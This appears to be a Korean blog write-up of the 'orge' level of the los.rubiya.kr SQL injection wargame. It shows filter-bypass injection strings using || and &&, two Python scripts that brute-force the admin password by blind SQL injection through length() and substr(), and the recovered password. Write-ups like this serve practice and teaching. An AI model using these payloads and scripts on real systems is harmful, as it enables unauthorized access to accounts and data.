본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] orge #7

by 낭람_ 2018. 8. 25.
반응형

[orge]



문제를 보니 preg_match함수에 의해 or과 and를 사용할 수없으므로 ||와 &&로 우회를 해줘야 한다.

그리고 다른 별다른 필터링이 없으므로 length와 substr을 이용하여 비밀번호를 구할수 있을것 같다.

?pw=' || id='admin' && length(pw)='숫자 를 이용하여 길이를 구하고

?pw=' || id='admin' && substr(pw,1,1)='문자 를 이용하여 패스워드를 구하면 된다.


import requests

for admin_len in range(99) :
URL='http://los.rubiya.kr/orge_bad2f25db233a7542be75844e314e9f3.php'
query={'pw': '\' || id=\'admin\' && length(pw)=\''+str(admin_len)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break


위의 python을 실행하면 비밀번호의 길이는 8인것을 알 수 있다.


import requests

password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/orge_bad2f25db233a7542be75844e314e9f3.php'
query={'pw': '\' || id=\'admin\' && substr(pw,1,'+str(admin_len+1)+')=\''+password+chr(admin_pass)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break


위의 python을 실행하면 비밀번호는 '7b751aec' 라는 것을 알 수 있다.

?pw=7b751aec를 입력하면 클리어!






반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] vampire #9  (0) 2018.08.26
[los.rubiya.kr] troll #8  (0) 2018.08.26
[los.rubiya.kr] darkelf #6  (0) 2018.08.24
[los.rubiya.kr] wolfman #5  (0) 2018.08.21
[los.rubiya.kr] orc #4  (4) 2018.08.20

댓글